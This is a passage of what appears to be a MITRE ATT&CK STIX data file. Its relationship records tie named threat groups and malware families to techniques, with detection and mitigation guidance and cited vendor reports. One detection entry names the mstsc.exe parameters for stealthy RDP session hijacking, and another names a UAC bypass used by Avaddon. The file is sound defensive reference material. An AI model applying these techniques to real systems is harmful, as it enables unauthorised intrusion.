"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6eba9c1c-e0ee-4efe-9e8a-f1abb7c1e01a", "created": "2024-03-25T21:27:41.430Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}, {"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:27:41.430Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has gathered credentials using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6ebb24bf-8e82-4824-8959-b6f4348d2efd", "created": "2022-08-03T14:57:19.361Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has been packed using a dark market crypter.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-08-03T14:57:19.361Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ebe95eb-909e-460e-b2ff-db0838e2f1e8", "created": "2023-10-03T18:36:47.819Z", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T18:36:47.819Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) has been executed through luring victims into clicking malicious links.(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ec66973-8ba0-4ec4-a4ca-c49a304f56b7", "type": "relationship", "created": "2021-05-21T19:53:14.088Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky CactusPete Aug 2020", "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021."}, {"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-26T21:51:21.848Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) can retrieve a file listing from the system.(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ec7a597-0364-4a05-8174-8f7f094bbeff", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:46:25.247Z", "description": "Consider monitoring processes for tscon.exe usage. Using tscon.exe to hijack an RDP session requires SYSTEM level permissions. Therefore, we recommend also looking for Privilege Escalation techniques that may be used for this purpose in conjunction with RDP Session Hijacking.\n\nIn addition to tscon.exe,  mstsc.exe can similarly be used to hijack existing RDP sessions. In this case, we recommend looking for the command-line parameters of <code>/noconsentPrompt</code> and <code>/shadow:</code>, which allow for stealthy hijacking of an RDP session with no prompt and without kicking off the existing session.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ec972d2-50fb-4391-84ec-284995b2c389", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor for changes made to processes that may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.", "source_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6eca6ae2-3f86-4b45-86c4-0ac01dfd13dd", "created": "2022-06-02T14:58:49.299Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used compromised accounts to send spearphishing emails.(Citation: SecureWorks August 2019)", "modified": "2022-06-02T14:58:49.299Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ecbd739-f0c0-4aff-858f-255e3afeee8f", "created": "2022-08-18T18:59:58.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos MuddyWater Jan 2022", "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.", "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T15:19:22.936Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has stored a decoy PDF file within a victim's `%temp%` folder.(Citation: Talos MuddyWater Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ecd51f2-d57d-4daa-a98f-764b9b3ddac1", "created": "2023-02-08T19:29:19.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MDSec Brute Ratel August 2022", "description": "Chell, D.  PART 3: How I Met Your Beacon \u2013 Brute Ratel. Retrieved February 6, 2023.", "url": "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"}, {"source_name": "Dark Vortex Brute Ratel C4", "description": "Dark Vortex. (n.d.). A Customized Command and Control Center for Red Team and Adversary Simulation. Retrieved February 7, 2023.", "url": "https://bruteratel.com/"}, {"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-20T19:06:51.912Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use SMB to pivot in compromised networks.(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: Dark Vortex Brute Ratel C4)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ed1086d-3197-403e-86e4-16e4dee07faa", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus RATANKBA", "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}, {"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:32.820Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses WMI to perform process monitoring.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2", "type": "relationship", "created": "2017-05-31T21:33:27.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2019-06-28T14:59:17.853Z", "description": "(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ed5bd9a-3f94-4ed0-94fb-0d3b93bc984e", "type": "relationship", "created": "2020-09-23T15:18:36.542Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.339Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can enumerate local drives.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ed9bcbc-4a4b-41ae-8064-48a5c5efb34b", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6edbc35f-fc02-43ba-84d2-17ff8100f094", "type": "relationship", "created": "2020-07-23T14:20:48.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-08-19T16:31:40.703Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has been packaged with a legitimate tax preparation software.(Citation: Trustwave GoldenSpy June 2020)", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6edd6f1b-3907-4013-b2e0-ceb03ccf427a", "type": "relationship", "created": "2021-02-08T23:18:31.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-04-20T02:41:22.128Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use the tokens of users to create processes on infected systems.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ee02f06-6250-4c75-b20f-c3271442f59e", "type": "relationship", "created": "2019-06-05T21:30:37.369Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ProofPoint Ursnif Aug 2016", "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality", "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}], "modified": "2019-06-24T16:46:20.899Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6ee04a90-7158-43a6-8133-9b498f1fef2c", "created": "2022-04-15T17:19:18.492Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can allow abuse of a compromised AD FS server's SAML token.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-15T17:19:18.492Z", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ee0cf67-d033-4620-b0c6-29b7a7d6592d", "created": "2023-04-03T22:51:59.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Microsoft 365 2022", "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}, {"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T21:20:09.764Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has collected emails from targeted mailboxes within a compromised Azure AD tenant and compromised Exchange servers, including via Exchange Web Services (EWS) API requests.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ee38990-50e9-423d-aea8-c3c16cf98ca4", "type": "relationship", "created": "2020-05-08T18:41:16.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}, {"source_name": "Kaspersky Cloud Atlas August 2019", "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}, {"source_name": "Symantec Inception Framework March 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}, {"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:43.919Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) lured victims into clicking malicious files for machine reconnaissance and to execute malware.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Kaspersky Cloud Atlas August 2019)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6eec2d79-1d59-459d-af33-b186ece9748b", "created": "2019-07-17T20:18:11.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T13:04:58.235Z", "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ef0dcc3-19d3-42be-b842-942790e4a07f", "created": "2024-02-22T21:39:00.691Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.", "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-22T21:39:00.691Z", "description": "(Citation: Rostovcev APT41 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ef55051-c152-4491-a881-31ff98fb773e", "created": "2021-03-11T16:37:06.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.137Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) has mimicked the Cron binary to hide itself on compromised systems.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ef89fa5-cd74-499b-bbc0-3b0d83baeba1", "created": "2022-09-02T20:35:38.404Z", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T20:35:38.404Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Tasklist](https://attack.mitre.org/software/S0057) to obtain information from a compromised host.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6efcb476-efdb-414c-80f8-66fe84f7c7e3", "type": "relationship", "created": "2021-08-23T19:38:33.519Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-08-23T19:38:33.519Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) bypasses UAC using the CMSTPLUA COM interface.(Citation: Arxiv Avaddon Feb 2021) ", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.193Z", "created_by_ref": 